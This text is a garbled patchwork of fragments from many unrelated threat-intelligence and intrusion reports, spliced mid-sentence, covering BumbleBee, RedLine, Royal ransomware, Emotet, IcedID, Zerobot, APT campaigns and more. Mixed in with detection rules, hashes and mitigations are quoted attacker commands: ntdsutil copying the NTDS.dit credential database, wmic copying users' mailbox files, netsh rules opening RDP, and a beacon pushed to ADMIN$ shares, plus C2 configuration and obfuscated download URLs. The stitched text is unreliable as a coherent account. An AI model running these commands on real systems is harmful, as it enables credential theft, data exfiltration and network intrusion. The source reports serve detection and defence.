We can assert with high confidence that the recon stage was not fully automated, and threat actors manually executed commands and made a mistake in one of those.


AdFind To enumerate Active Directory, the threat actors executed AdFind from the beachhead host, on three different occasions: The source of execution, the initiating parent process, was different on each occasion and the name of AdFind binary and the result files were different on one occasion, which could indicate multiple Threat actors accessing the network.

BumbleBee Roasts Its Way to Domain Admin


This library seems to be a custom tool developed to assist threat actors with Windows local privilege escalation enumeration.


Option/Command Details (from the code) ‘v’ or “Vulnerability” “Search for available vulnerabilities for using LPE tools””Scans the operating system for vulnerabilities and displays a list of tools for a LPE” ‘m’ or “MicrosoftUpdates” “List of all installed microsoft updates””Displays a list installed Microsoft updates” ‘h’ or “HotFixes” “List of installed hot fixes””Displays a list of installed hot fixes” ‘s’ or “SupportedCve” “List of implemented tools for LPE “”Displays list of implemented CVE for LPE” ‘i’ or “SystemInfo” “Display information about current Windows version “ Below is the list of all of the currently supported (or implemented) CVE enumeration via installed KBs mapping: Threat actors executed this tool on patient 0 with low-level privileges multiple times, and again on a server with Administrator privileges.


The account used to perform this lateral movement was one of the kerberoasted service accounts.


We observed this beacon performing various techniques (Process injections in svchost process via CreateRemoteThread, Default named pipes, etc.) Command and Control The graph below shows all communications to malicious IP addresses made by the dropped payloads or processes which threat actors injected into: BumbleBee 142.91.3[.]109 45.140.146[.]30 All the active Bumblebee command and control shared a common server configuration in regards to TLS setup.


0x00000000 0x000031e0 0x0001 payload type 0x0001 0x0002 8 windows-beacon_https-reverse_https 0x0002 port


0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe' 0x001e spawnto_x64 0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe' 0x001f CryptoScheme 0x0001 0x0002 0 0x001a get-verb 0x0003 0x0010 'GET' 0x001b post-verb 0x0003 0x0010 'POST' 0x001c HttpPostChunk 0x0002 0x0004 0 0x0025 license-id 0x0002 0x0004 0 0x0026 bStageCleanup


AnyDesk Remote Desktop Software User-Agent Again, those are quick wins to add to your detection capabilities to detect the usage of unauthorized remote administration tools, commonly used by ransomware operators AnyDesk configuration file and the network logs revealed that the id used was 159889039 and the source IP was 108.177.235.25 (LeaseWeb USA – Cloud Provider).


BumbleBee Case 13387 Reference: https://thedfirreport.com */ /*


fullword wide $s16 = "api-ms-win-crt-locale-l1-1-0.dll" fullword ascii $s17 = "Showing error dialog for application: '%s' - error code: 0x%x - url: '%s'" fullword wide $s18 = "Failed to resolve full path of the current executable


Checking 786/ Mob " fullword wide $s18 = "#%s. %s Door observed- lazy?


The emails exploit commonly encountered issues, such as transit infractions and taxes, to create a sense of urgency and legitimacy in their phishing messages.

Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico


The scripts leverage built-in Windows:registered: tools and commands, allowing the threat actor to evade endpoint protection platform (EPP) solutions, and bypass security systems.


This suggests that the threat actor was beginning its tests, naming these files “demo” or “test,” upon decompiling the AutoIt script into a human-readable script that supports the timeline of this attack campaign.


Figure 3 – "multa_de_transito_502323.html" attachment content The data blob in HEX decodes to a slightly obfuscated URL address which upon cleanup translates to: hxxps[:]//multa-ansr-pt[.]fun/?hcBViJAi9EZSc3YQwxpEwfmD7xdG0IF34EWGHj6Q. This URL resolves to: 162.0.232[.]115 IP address.


It proceeds by downloading the “sqlite3.dll” file from “hxxps[:]//www[.]autoitscript[.]com/autoit3/pkgmgr/sqlite/” which will be required later during the Chrome password theft.


The domains utilized also heavily use redacted “whois” information and obscure registration data.


Conclusions Defending against LOLBaS executions requires a multi-layered strategy.


First, organizations should implement robust endpoint security solutions to detect and block suspicious behavior and unauthorized execution of LOLBaS. Additionally, organizations should enforce the principle of least privilege, such as zero trust, confirming that users have only the permissions necessary to perform their tasks, thus limiting potential impact of LOLBaS execution.


See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.

AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks


These have included low-effort capabilities such as spearphishing emails and third-party message services directed at both corporate and personal accounts, as well as exploiting vulnerable web-facing devices and remote connection capabilities.


These TTPs were included based upon closed reporting on APT actors that are known to target think tanks or based upon CISA incident response data.


[T1559.002] System Services:


[T1546.003] Event Triggered Execution: Accessibility Features


[T1548.002] Hijack Execution Flow: DLL Side-Loading [T1574.002] Defense Evasion


[T1027.003] Obfuscated Files or Information: Indicator Removal from Tools [T1027.005] Masquerading: Match Legitimate Name or Location


[T1211] Signed Binary Proxy Execution: Compiled HTML File [T1218.001] Signed Binary Proxy Execution:


[T1218.011] Template Injection [T1221] Execution Guardrails: Environmental Keying [T1480.001] Abuse Elevation Control Mechanism: Bypass User Access Control


Network Sniffing [T1040] Input Capture:


[T1110.002]Brute Force: Password


[T1012] System Network Configuration Discovery [T1016] Remote System Discovery [T1018] System Owner/User Discovery [T1033] Network Sniffing [T1040] Network Service Scanning [T1046] System Network Connections Discovery [T1049] Process Discovery


Domain Account


[T1550.002] Use Alternate Authentication Material:


[TA0009] Data from Local System [T1005] Data from Removable Media


[T1071.002] Application Layer Protocol: Mail Protocols [T1071.003] Application Layer Protocol:


Symmetric Cryptography [T1573.001] Encrypted Channel:


Asymmetric Cryptography


Install antivirus software on personal devices to automatically scan and quarantine suspicious files.


Exercise caution when: Opening email attachments, even if the attachment is expected and the sender appears to be known.


Change the default username and password of applications and appliances.


Implement Group Policy Object and firewall rules.


Follow best practices for design and administration of the network to limit privileged account use across administrative tiers.


Many industries received these malicious campaigns, but the most impacted was the Healthcare and manufacturing sectors.

Do Not Cross The RedLine Stealer Detections and Analysis


Recently this year (May 10, 2023), there was a RedLine campaign found by stormshield that used a malicious chrome extension that will download several malware like Smoke Loader and Amadey Trojan.


Figure 1 Using the URLhaus dataset, we can also learn that RedLine Stealer abuses several known legitimate file/code sharing and collaboration platforms for its campaigns.


This loader then executes two more self-extracting archive executables that are responsible for decrypting a shellcode to load the Amadey Trojan and two instances of the RedLine Stealer malware onto the system.


Additionally, the loader also executes a .NET executable that is responsible for defense evasion.


The information that this malware can retrieve may be sensitive and can potentially compromise the security and privacy of the affected system.


RedLine uses .NET


Once the master key is decrypted, it will parse the AES IV (Initialization vector) and the encrypted password in the copied “Login Data” database file to decrypt it using AES GCM algorithm.


Description 5112ff1b75d9c33d10efafcbacdb4e2116280c1f5f3e6b6a64b44279997d96ee Redline stealer 8f45a89978ea72a7c3304c93cc56ac18087663ae33daa9f30f919652ba961175 loader eb8a15b1a42127970e7facc6133131dcc073a201419d8cc88c3c316819d1c2a2 Redline stealer afc48eabd725325d00324625eb9035c450d730c0b07d4d5a7246cbb1a3a443eb lr657198.exe 2a4193dcb95c7307e0a4f5586446c1c4adad17733a102a40d0b9227649191ff9 zifq8846.exe 5f9eff953d7ca49f594a864517dfdf37950a41693e53b79aa3a5c396613031bc kp356066.exe 52a52e958a0fef6aa14f27083f2d8675a20c2148be6456cacbda149411719b92 zigT1406.exe 850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38 it532878.exe 5e82fc65d9dafc6da041e732597719aa9872bc82d8ff52c272277a1a49b8c9aa jr663319.exe Detections The Splunk Threat Research Team has curated relevant detections and tagged them to the RedLine Stealer Analytic Story to help security analysts detect adversaries leveraging the RedLine malware.


Related Ticket Search Dispatch Detects available indicators and routes them to dispatch related ticket search playbooks.


This blog enables security analysts, blue teamers and Splunk customers to identify RedLine Stealer malware by helping the community discover RedLine Stealer tactics, techniques and procedures that are being used by several threat actors and adversaries (APT).


By understanding its behaviors, we were able to generate telemetry and datasets to develop and test Splunk detections designed to defend and respond against this threat.


Cyber defenders need to design and deploy effective monitoring capabilities that allow them to detect and respond to RedLine Stealer malware attacks.


Feel free to put in an issue on GitHub and we’ll follow up.


By: Ivan Nicole Chavez, Byron Gelera, Monte de Jesus, Don Ovid Ladores, Khristian Joseph Morales December 21, 2022Read time: ( words) Save to Folio Subscribe Royal ransomware may have been first observed by researchers around September 2022, but it has seasoned cybercriminals behind it: The threat actors running this ransomware — who used to be a part of Conti Team One, according to a mind map shared by Vitali Kremez — initially dubbed it Zeon ransomware, until they rebranded it to Royal ransomware.

Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks


From September to December this year, we have detected multiple attacks from Royal ransomware, with the US and Brazil being the most targeted countries (Figure 1).


These phishing attacks contain a number that leads to a service hired by the threat actors.


Looking for accessible local IPs then trying to connect to ADMIN$ and IPC$ It checks for the number of processors in the infected system and uses it as a base for the concurrent running threads for file encryption, as shown in Figure 7.


If not, it rounds up the total size until it is divisible by 16.


For a file size that has been rounded-up, Royal ransomware will check if the size is less than or equal to 5,245,000 bytes or if the value is set to 100 (0x64), as shown in Figure 12.


Encryption process and calculation Its calculation of N bytes is as follows: X / 10* (Original file size) & 0xFFFFFFF0 where X is the value set before encryption X is either 0x32 (50) or 0x64 (100)


Encrypted files appended with the “.royal” extension For each directory it traverses, Royal ransomware drops a text file named “README.TXT” that contains the ransom note (Figure 16), as well as an advertisement for its “pentesting services” that the ransomware actors will allegedly provide once the ransom has been paid (Figure 17).


Their use of callback phishing to lure victims into installing remote desktop malware allows them to infiltrate the victim’s machine with relative ease.


Despite their “late” entry to the scene in September, the group already has ransomed multiple companies, and we expect them to be more active in the upcoming months.


More details on Royal ransomware’s other capabilities can be found in Trend Micro’s Threat Encyclopedia.


SM PowerTool e8a3e804a96c716a3e9b69195db6ffb0d33e2433af871e4d4e1eab3097237173 PUA.Win32.GMER.YABBI GMER d1aa0ceb01cca76a88f9ee0c5817d24e7a15ad40768430373ae3009a619e2691 PUA.Win64.PCHunter.


THLOFBB AdFind ac49c114ef137cc198786ad8daefa9cfcc01f0c0a827b0e2b927a7edd0fca8b0 HackTool.


A RDPEnable 2598e8adb87976abe48f0eba4bbb9a7cb69439e0c133b21aee3845dfccf3fb8f Ransom.Win64.YORAL.SMYXCJCT Royal Ransomware Binary cdd7814074872fc35d18740cdd4e8a5fefcfd6b457fde2920383fd5b11903fc5 Ransom_Royal.


This is a multi-stage attack that involves sideloading DLLs, seven-day sleep routines, and additional payloads dependent on a now-removed GitHub repository for Windows-based systems.

Threat Advisory 3CX Softphone Supply Chain Compromise


The infection chain consists of several stages and involves sideloading DLLs along with a seven-day sleep cycle before the malware attempts to retrieve additional malicious artifacts from a now-removed GitHub repository for the Windows based infection.


Preparing since February 2022Based on Cisco Talos investigation, it appears the infrastructure that supported this attack was being prepared as early as February 2022 when the domains were first registered.


Timeline of domain registration activity.


On 16 August 2022, the Energoatom corporate website was the target of a DDoS attack.

Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor


And in October 2022, yet another wiper attack, this one using the wiper dubbed NikoWiper, targeted the energy sector.


Figure 2: Fake document after macro execution VBA Code Analysis To complicate analysis and attempt to evade detection, the macro’s VBA code employs a few interesting techniques.


This association is detailed in “word\_rels\ document.xml.rels” of the Office Open XML archive with the following line: “<Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/vbaProject" Target="EbDYTPZ.vEypm"/>” As usual, the VBA code is set to execute when the document is opened via AutoOpen and Document_Open events.


As mentioned, the macro begins by deleting the overlay image, which is internally a Shape object with the Name attribute “happy”.


It is used for storing arbitrary data that the document could programmatically access.


To get to the payload data, it starts by enumerating all the custom XML part objects in the document and then checking if they have a node named “TwXfx”.


Figure 4: Encoded binary payload Although the payload in this document is stored in a single node, the VBA code also supports an encoded payload split across several nodes, further complicating its extraction.


Payload Analysis Stage 1: OfficeTelemetry.dll Based on the filename of the payload binary, it tries to masquerade as a legitimate component of Microsoft Office.


Figure 7: Functions exported by OfficeTelemetry.dll Upon execution, it locates a packed and compressed payload in the .vdata section (Figure 8) of the memory allocated for the current process.


The relevant API hashes are:


The Teamserver C2 configuration extracted from this sample can be seen below.


Chrome/108.0.0.0 Safari/537.36 URIs:/wp-content/themes/pressa/js/avias.js /wp-content/themes/pressa/js/mobile_menu.js /wp-content/plugins/contact-form-7/includes/js/scripts.js /wp-content/themes/pressa/js/bootstrap.js /wp-content/themes/pressa/js/hovermenu.js /wp-content/themes/pressa/js/retina-1.1.0.js /wp-content/plugins/js_composer/assets/lib/bower/isotope/dist/isotope.pkgd.min.js /wp-content/themes/pressa/js/custom-script.js /wp-includes/js/wp-emoji-release.min.js /maps-api-v3/api/js/52/1/intl/uk_ALL/util.js /wp-includes/js/wp-embed.min.js The major features of Demon include: Enumerate host and network info (users, groups, domains, shares, etc.)


Using a combination of such techniques, threat actors may gain sufficient time to complete their post-exploitation commands upon successful infection before they are detected.


Although the document contains some indicators of a potential red-team exercise, e.g., the hardcoded path for persisting the payload on disk and use of a relatively novel payload encoding technique, it is also entirely possible that this could be a campaign under development as many red-team tools have been weaponized recently for malicious purposes.


On the one hand, both red and blue teams can benefit from the availability of the source code to better understand how these techniques work, address detection gaps, and improve the cyber resilience of their organizations.


This type of threats is usually delivered as email attachments.


If you believe these or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.


This is a threat group attributed to Russia’s Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment.

In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants


The lure document is a PowerPoint file that exploits a code execution technique, which is designed to be triggered when the user starts the presentation mode and moves the mouse.


= %d”"User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:87.0) Gecko/20210101 Firefox/87.0”"User-Agent: “"chunked”"access_token”"refresh_token”"value”"file”"name”"/v1.0/drive/root:/%s/update/%s:/content”"/v1.0/drive/root:/%s/check/%s:/content”"/v1.0/drive/root:/%s/check/%s”"/v1.0/drive/root:/%s/check:/children”"/common/oauth2/v2.0/token”"login.microsoftonline.com""graph.microsoft.com""Content-Type: application/json”"Content-Type: application/x-www-form-urlencoded”"Content-Type: application/octet-stream”"Content-Type: application/xml”"client_id=%s&redirect_uri=urn:ietf:wg:oauth:2.0:oob&refresh_token=%s&grant_type=refresh_token”"Authorization: bearer “"DELETE”“GET”“POST”“PUT”L"ntdll.dll”L"secur32.dll”"NtOpenKey”"NtQueryValueKey”"NtSetValueKey”"NtClose”"RtlInitUnicodeString”"RtlFreeUnicodeString”L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Cryptography”L"MachineGuid”"Accept: /""Accept-Encoding: gzip, deflate”"User-Agent: Microsoft skyDriveSync %s ship”L"\\Registry\\User\\%s\\Control Panel\\International\\User Profile”L"Recharge”"RtlConvertSidToUnicodeString”"WTSQueryUserToken”"sprintf” C&C COMMUNICATIONS


The malware is known to be deployed in-memory only and served as a downloader for the post-exploitation frameworks like Empire (as documented by Trellix researchers on early 2022 here).


This enables the attacker’s BAT file to run in a new elevated process without the user’s approval.

Can You See It Now An Emerging LockBit Campaign


It uses the 7-zip archiver and then runs it with a ‘-pass’ argument that is needed for the malicious executable to unpack itself.


Figure 6: Detection in VirusTotal of one of the .img files.


The malware authors have shown a creative and wide-ranging usage of signed, legitimate executables: the mounting of .img files by Windows Explorer, python execution by a signed interpreter, the extraction of encrypted archives by 7-zip, and automatic log-in using Sysinternals’ Autologon.


Hence, a definitive attribution to the original group behind LockBit, or its affiliates, may be difficult.


Once the attachment is automatically unzipped, a malicious application in the attachment is in the filesystem and triggers the registration of a custom URL scheme handler.

WTB Remote Mac Exploitation Via Custom URL Schemes


This is a continuation of attacks on various Spanish legal entities following the unsuccessful referendum last year and the so-called “hurting of Catalan people” that this group claims the government is responsible for.


Despite the threat actors gaining access to the victim’s bank account information, it does not appear that the intent of the attack is financially-driven.


The attachment appears as shipping document that is awaiting to be opened, read through, and approved by the target.


The attachment appears as a .z file and will install the DarkComet RAT.


This version of CEIDPageLock has VMProtect, which makes analysis and unpacking difficult and also redirects victims to the specific homepage when they attempt to access specific Chinese websites.


A ThreatStream account is required to view this section.


The objective of spear phishing is to gain an initial infection vector within a particular company’s or individual’s network.


After three days of discovery and lateral movement, the threat actors exfiltrated sensitive data using Rclone before leaving the network.


In a few weeks, we’ll have another Emotet report out from June, where the intrusion used similar TTPs and ended in ransomware.


More account discovery was then observed, with queries for Domain Administrators and a backup account.


They pivoted to a couple of workstations on the network using Cobalt Strike and installed Atera and Splashtop with a different MSI installer.


On the last day of this intrusion, the threat actors returned during their normal working hours and used Rclone to exfiltrate IT-related data from a separate server.


Timeline Analysis and reporting completed by @Kostastsale and @IcsNick Initial Access


Thanks for sharing @proxylife!


A new file is then created in C:\%USERPROFILE%\AppData\Local\ with a folder that also consists of random characters.


Emotet injected multiple times into svchost to execute certain functions, including discovery commands.


We later saw Dllhost.exe injecting into multiple other processes, such as explorer.exe and svchost.exe, to execute further payloads.


-s LSM win_cobalt_strike_auto 9308 regsvr32.exe regsvr32 C:\ProgramData\1.dll win_cobalt_strike_auto 1056 svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p win_cobalt_strike_auto 1428 svchost.exe C:\Windows\system32\svchost.exe -k ICService -p win_cobalt_strike_auto 6036 regsvr32.exe regsvr32 C:\ProgramData\1.dll win_cobalt_strike_auto Credential Access From the beachhead host credentials appear to have been dumped from an injection into the SearchIndexer process on the host.


# Feel free to modify the email addresses to fit your needs - '@gmail.com' - '@hotmail.com' - '@hotmail.com' - '@yandex.ru' - '@mail.ru' - '@outlook.com' - '@protonmail.com' - '@dropmail.me' condition: selection1 and selection2 falsepositives: - Unlikely level: high tags: - attack.execution - attack.


T1059.006 https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rclone_smb_share_exfiltration.yml title: Rclone SMB Share Exfiltration id: 889bc648-5164-44f4-9388-fb5d6b58a7b2 status: Experimental description: Detection of a exfiltration activity using rclone from Windows network shares using SMB. author: \@TheDFIRReport date: 2022/09/12 references: - https://thedfirreport.com/ logsource: product: zeek service: smb_files detection: selection: file_name|endswith: - '\rclone.exe' condition: selection falsepositives: - Approved business backup processes.


level: medium tags: - attack.exfiltration - attack.t567.002 https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/potential_smb_dll_lateral_movement.yml title: Potential SMB DLL Lateral Movement id: 8fe1524e-8c97-404c-9dee-090929a315c4 status: Experimental description: Detection of potential us of SMB to transfer DLL's into the ProgramData folder of hosts for purposes of lateral movement.


7000KB and ( pe.imphash() == "bcf185f1308ffd9e4249849d206d9d0c" and pe.exports("xmlEscapeFormatString") or 12 of them ) } rule info_1805_14335 { meta: description = "info_1805.xls" author = "The DFIR Report" reference = "https://thedfirreport.com" date = "2022-09-12" hash1 = "e598b9700e13f2cb1c30c6d9230152ed5716a6d6e25db702576fefeb6638005e" strings: $s1 = "32.exe" fullword ascii $s2 = "System32\\X" fullword ascii $s3 = "DocumentOwnerPassword" fullword wide $s4 = "DocumentUserPassword" fullword wide $s5 = "t\"&\"t\"&\"p\"&\"s:\"&\"//lo\"&\"pe\"&\"sp\"&\"ub\"&\"li\"&\"ci\"&\"da\"&\"de.c\"&\"o\"&\"m/cgi-bin/e\"&\"5R\"&\"5o\"&\"G4\"&\"" ascii $s6 = "UniresDLL" fullword ascii $s7 = "OEOGAJPGJPAG" fullword ascii $s8 = "\\Windows\\" fullword ascii $s9 = "_-* #,##0.00_-;\\-* #,##0.00_-;_-* \"-\"??_-;[email protected]_-" fullword ascii $s10 = "_-* #,##0_-;\\-* #,##0_-;_-* \"-\"_-;[email protected]_-" fullword ascii $s11 = "_-;_-*


While there was some initial discovery activity from the IcedID malware, it went quiet, just beaconing to command and control but not performing any other activity.


Within two and a half hours of Cobalt Strike showing up in the environment and just over two days after the initial IcedID infection, the threat actors completed their objective of encrypting all systems.


The ransomware note left by the infection included a link to their Tor site for further details.


We also have artifacts available from this case such as pcaps, memory captures, files, Kape packages, and more, under our Security Researcher and Organization services.


rundll32.exe "C:\Users\REDACTED\AppData\Local\Temp\rate_x32.dat",update /i:"LaborBetray\license.dat" Discovery IcedID ran initial discovery after being executed on the beachhead.


/domainnet view /allnew group "Domain Admins" /domain


Additional discovery commands were executed by Cobalt Strike.


net group "Domain admins" /domain


In order to obtain SYSTEM level privileges, Cobalt Strike’s built-in named piped impersonation (GetSystem) was used: Image: “C:\Windows\System32\cmd.exe” CommandLine: “C:\Windows\system32\cmd.exe /c


Image: C:\Windows\system32\services.exe TargetObject: HKLM\System\CurrentControlSet\Services\d8d6deb\ImagePath Details: \\HOSTNAME\ADMIN$\d8d6deb.exe After this initial activity, Cobalt Strike was used to enable RDP, and allow it through the firewall, on the domain controllers.


0x0 /f cmd.exe /C netsh firewall set service type = remotedesktop mode = enable cmd.exe /C netsh firewall set rule group="remote desktop" new enable=Yes cmd.exe /C netsh advfirewall set rule group="remote desktop" new enable=Yes Following this, the threat actors then copied a Cobalt Strike Beacon DLL to the ADMIN$ share; and then, distributed it throughout the environment using PsExec. cmd.exe /C


copy 192145.dll \\<INTERNAL_IP>\ADMIN$ /Y /Z


Defense Evasion To evade detection, the threat actors disabled Windows Defender by adding the below to an already linked GPO.


First time that I see #Conti ransomware spread as a DLL :Hash : 5c278c04bb19196dc8559d45b9728b3ba0c1bc5cdd20a766f56248e561c6f5a6 Pdb : A:sourceconti_v3x64Releasecryptor_dll.pdb (cc @GrujaRS @malwrhunterteam )


pic.twitter.com/gH3uCpVMpB— (づ｡◕‿‿◕｡)づ (@Glacius_)


Ransom note Which leads you here.


Multiple machines within the environment were not usable after being ransomed including a domain controller.


Downloader Request Cookie ET POLICY PE EXE or DLL Windows file download HTTP ET INFO Executable Retrieved With Minimal HTTP Headers – Potential Second Stage Download ET INFO Packed Executable Download ET POLICY OpenSSL Demo CA – Internet Widgits Pty ATTACK


[PTsecurity] Overpass the hash.


*/import "pe"rule icedid_rate_x32 {meta:description = "files - file rate_x32.dat"author = "The DFIR Report"reference = "https://thedfirreport.com"date = "2021-05-09"hash1 = "eb79168391e64160883b1b3839ed4045b4fd40da14d6eec5a93cfa9365503586"strings:$s1 = "UAWAVAUATVWSH" fullword ascii$s2 = "UAWAVVWSPH" fullword ascii$s3 = "AWAVAUATVWUSH" fullword ascii$s4 = "update" fullword ascii /*


One domain with links to Zerobot was among several domains associated with DDoS-for-hire services seized by the FBI in December 2022.

Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog


In this blog post, we present information about the latest version of the malware, Zerobot 1.1, including newly identified capabilities and further context to Fortinet’s recent analysis on the threat.


Zerobot 1.1 increases its capabilities with the inclusion of new attack methods and new exploits for supported architectures, expanding the malware’s reach to different types of devices.


Depending on the operating system of the device, the malware has different persistence mechanisms.


To achieve persistence on Linux-based devices, Zerobot uses a combination of desktop entry, daemon, and service methods: Desktop entry: Zerobot copies itself to $HOME/.config/ssh.service/sshf then writes a desktop entry file called sshf.desktop to the same directory.


In addition to the functions and attacks included in previous versions of the malware, Zerobot 1.1 has additional DDoS attack capabilities.


In almost every attack, the destination port is customizable, and threat actors who purchase the malware can modify the attack according to their target.


MC_PINGMeant for DDoS on Minecraft servers.


Sends a handshake and status request.


TCP_HANDSHAKEFloods with TCP handshakes.


Payload length is customizable.


TLS_SOCKETContinuously sends random payloads on an open TLS socket.


This tool was found by investigating the command-and-control (C2) IPs used by the malware.


With these capabilities, Microsoft 365 Defender customers using Microsoft Defender for IoT have visibility into security recommendations for devices with the following vulnerabilities: CVE-2014-8361 CVE-2019-10655 CVE-2020-25506 CVE-2021-36260 CVE-2021-42013 CVE-2022-30525 CVE-2022-31137 CVE-2022-37061 Devices with these vulnerabilities are also visible in the Microsoft Defender Vulnerability Management inventory.


let IoCList = externaldata(TimeGenerated:datetime,IoC:string,IoC_Type:string,ExpirationDateTime:datetime,Description:string, Action:string, ConfidenceScore:real, ThreatType:string, Active:string,Type:string, TrafficLightProtocolLevel:string, ActivityGroupNames:string)[@"https://raw.githubusercontent.com/microsoft/mstic/master/RapidReleaseTI/Indicators.csv"] with(format="csv", ignoreFirstRecord=True); let shahashes = IoCList | where IoC_Type =~ "sha256" and Description =~ "Dev-1061 Zerobot affecting IoT devices" | distinct IoC; DeviceFileEvents | where SHA256 in (shahashes) Zerobot HTTP requests This query finds suspicious HTTP requests originated by the IOCs associated with Zerobot activity.


url: https://www.fortinet.com/blog/threat-research/just-because-its-old-doesnt-mean-you-throw-it-away-including-malware Art, automobiles, and wine are often associated with things that appreciate in value as they age.

Just Because Its Old Doesnt Mean You Throw It Away Including Malware


And while it has seen some updates and modifications since its introduction, it is an anachronism in the malware world that continues to operate well beyond expectations.


Affected Platforms: WindowsImpacted Users: Windows usersImpact: Potential to deploy additional malware for additional purposesSeverity Level: Medium Typical phishing e-mail The typical MyDoom phishing e-mail contains subjects referencing a delivery error or testing.


DATA FORMAT ERROR Returned mail: see transcript for details Mail System Error - Returned Mail The following attachment names were also found to be used repeatedly: document.zip transcript.zip letter.zip attachment.zip .zip message.zip message.scr golfasian.com readme.scr mail.zip text.cmd <random number>@7686f6a96.com file.zip attachment.scr Typical attachment The MyDoom executables attached to its phishing e-mails have an extension hidden by default by most Windows deployments (.cmd, .scr, .com, etc.).


With that being said, UPX has been around for quite some time.


The following (AV) signature detects the malware samples mentioned in this blog W32/MyDoom.


In addition to these protections, we suggest that organizations have their end users undergo our FREE NSE training: NSE 1 – Information Security Awareness.


Attribution Though a threat actor group called Silence Group is attributed to this malware, Group-IB has linked the group with Russia’s EvilCorp (Indrik Spider) due to the downloaders they use being similar.


Though EvilCorp is also Russian, this is not strong evidence to link the two, as there are dozens of Russian APTs.


In late April 2023, IBM Security X-Force uncovered documents that are most likely part of a phishing campaign mimicking credible senders, orchestrated by a group X-Force refers to as ITG10, and aimed at delivering RokRAT malware, similar to what has been observed by others.

ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK


The intended targets for this lure are likely to be parliamentary members seeking information on their committee assignment or reporters covering parliament.


The contents detail the company’s approach to radio drama production scheduled for broadcast in May 2023.


North Korean sponsored threat actors have previously been known to create accounts posing as broadcasting scriptwriters to deceive watchers.


2023년도 4월 29일 세미나.pdf Energy, Manufacturing and Supply Chain The second grouping of lure documents features a zip file projects in Libya.zip containing a LNK file Pipelines Profile (Elfeel- Sharara-Mellitah + Wafa – Mellitah).lnk, as well as additional English-language decoy files.


In another campaign, ITG10 was observed delivering RokRAT via HWP and Word files containing LNK files.


Once the LNK file is executed, it extracts and drops a decoy file, and a batch file within the user’s %TEMP% folder.


The LNK files analyzed contain an encoded PowerShell, and once the LNK files are executed, the PowerShell script is run, and two files are dropped to the user’s %TEMP% folder.


Encoded PowerShell:


Near the end of this article all the tactics and techniques used by the adversary are listed with links to the MITRE website with more information.

Abusing cloud services to fly under the radar


With this valid admin account, a Cobalt Strike beacon is loaded into memory of patient zero.


If the obtained valid account is already member of the domain admins group, the first lateral move in the network is usually to a domain controller where the adversary also deploys a Cobalt Strike beacon.


At times they have been observed attempting to perform a degree of anti-forensic activities including clearing event logs, time stomping files, and removing scheduled tasks created for some objectives.


The more recent intrusions took place in 2019 at companies in the aviation industry.


NCC Group and Fox-IT identified that the language in the text-message for 2FA is based on the web browser’s language settings used during the authentication flow.


/domain net localgroup administrators If the user account doesn’t have local administrative or domain administrative permissions, the adversary attempts to discover which local or domain admin accounts exist, and exfiltrates the admin’s usernames.


To identify if privileged users are active on remote servers, the adversary makes use of PsLogList from Microsoft Sysinternals to retrieve the Security event logs.


Privilege escalation (TA0004)


But we also observed the adversary using the tool ntdsutil to create a copy of the Active Directory database NTDS.dit followed by a repair action with esentutl to fix a possible corrupt NTDS.dit: ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\tmp" q q esentutl /p /o


Once the system is rebooted, the beacon is gone.


In the list below we have highlighted a few specific tools the adversary used for discovery purposes.


Account discovery tool: PsLogListCommand used: psloglist.exe -accepteula -x security -s


"NTDS.dit" -s


The utility was found on various systems of a victim and matches the NtdsAudit.exe program file version v2.0.5 published on the GitHub project page.


NCC Group and Fox-IT decompiled the tool for analysis.


They continue lateral movement and discovery in an attempt to identify the data of interest.


Lateral tool transfer (T1570)


But they also rely on a custom tool for network scanning (get.exe), carving data from memory, compression of data, and exfiltrating data.


But first: How did they get the tools on the victim’s systems?


The adversary copied those tools over SMB from compromised system to compromised system wherever they needed these tools.


In preparation of exfiltration of the data needed for their objective, the adversary collected the data from various sources within the victim’s network.


But email collection is also important for this adversary: with every intrusion we saw the mailbox of some users being copied, from both local and remote systems: wmic /node:<ip> process call create "cmd /c copy c:\Users\<username>\<path>\backup.pst c:\windows\temp\backup.pst" copy "i:\<path>\<username>\My Documents\<filename>.pst" copy \\<hostname>\c$\Users\<username>\AppData\Local\Microsoft\Outlook*.ost Files and folders of interest are collected as well and staged for exfiltration.


= suppress error messages.hp<password> = encrypt both file data and headers with password.


The used password, file extensions for the staged data differ per intrusion.


After compromising a host with a Linux operating systems, data is also compressed.


This is important to note because the functionalities of Cobalt Strike’s trial version are limited.


This means that only the DNS C2 leaving the victim’s network was logged.


We developed a Python script that decoded and combined most of the logged C2 communication into a human readable format.


The activity started on average at 02:36 UTC and ended rarely after 13:00 UTC.


While we don’t know what was deleted and we were unable to recover, we did see some of their anti-forensics activity: Windows event logs clearing,File deletion,Timestomping An overview of the observed commands can be found in the appendix.


This tool is included in the UnxUtils repository.


Creating a timeline is a common thing to do for forensic analysts to get a chronological view of events on a system.


Copy NTDS.dit.


And these are the hardest for the adversary to change, and most effective for long-lasting detection!


Both types of stolen data are very useful for nation states.


